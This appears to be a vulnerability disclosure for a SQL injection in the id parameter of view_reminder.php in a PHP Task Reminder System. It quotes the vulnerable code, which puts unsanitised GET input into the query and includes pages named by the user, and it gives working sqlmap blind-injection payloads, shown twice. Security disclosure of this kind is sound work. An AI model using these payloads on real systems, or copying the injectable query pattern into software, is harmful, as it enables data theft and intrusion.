

SQL injection vulnerability exists in id parameter of /admin/reminders/view_reminder.php file of Task Reminder System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'reminders/view_reminder', it will include /admin/reminders/view_reminder.php, and id parameter can do sql injection.

/admin/index.php:

```
15 <?php $page = isset($_GET['page']) ? $_GET['page'] : 'home'; ?>
16 <!-- Content Wrapper. Contains page content -->
17 <div class="content-wrapper pt-3" style="min-height: 567.854px;">
18
19 <!-- Main content -->
20 <section class="content text-dark">
21 <div class="container-fluid pb-2">
22 <?php
23 if(!file_exists($page.".php") && !is_dir($page)){
24     include '404.html';
25 }else{
26     if(is_dir($page))
27         include $page.'/index.php';
28     else
29         include $page.'.php';
30 }
31 ?>
```

/admin/reminders/view_reminder.php:

```
2 if(isset($_GET['id']) && $_GET['id'] > 0){
3     $qry = $conn->query("SELECT *, COALESCE((SELECT CONCAT('lastname', ' ', 'firstname') FROM `users` where `users`.`id` =
4     `reminder_list`.`user_id`) , 'User Does Not Exist') as user_fullname from `reminder_list` where `id` = '{$_GET['id']}'");
5     if($qry->num_rows > 0){
6         foreach($qry->fetch_assoc() as $k => $v){
7             $$k=$v;
8         }
9     }
10 }
```

```
sqlmap identified the following injection point(s) with a total of 494 HTTP(s) requests:
--
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=reminders/view_reminder&id=1' AND 4284=4284 AND 'mBRq'='mBRq

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=reminders/view_reminder&id=1' AND (SELECT 4556 FROM (SELECT(SLEEP(5)))DsOL) AND 'KmOP'='KmOP
--
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: page=reminders/view_reminder&id=1' AND 4284=4284 AND 'mBRq'='mBRq

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=reminders/view_reminder&id=1' AND (SELECT 4556 FROM (SELECT(SLEEP(5)))DsOL) AND 'KmOP'='KmOP

“

Source Download:

<https://www.sourcecodester.com/php/16451/task-reminder-system-php-and-mysql-source-code-free-download.html>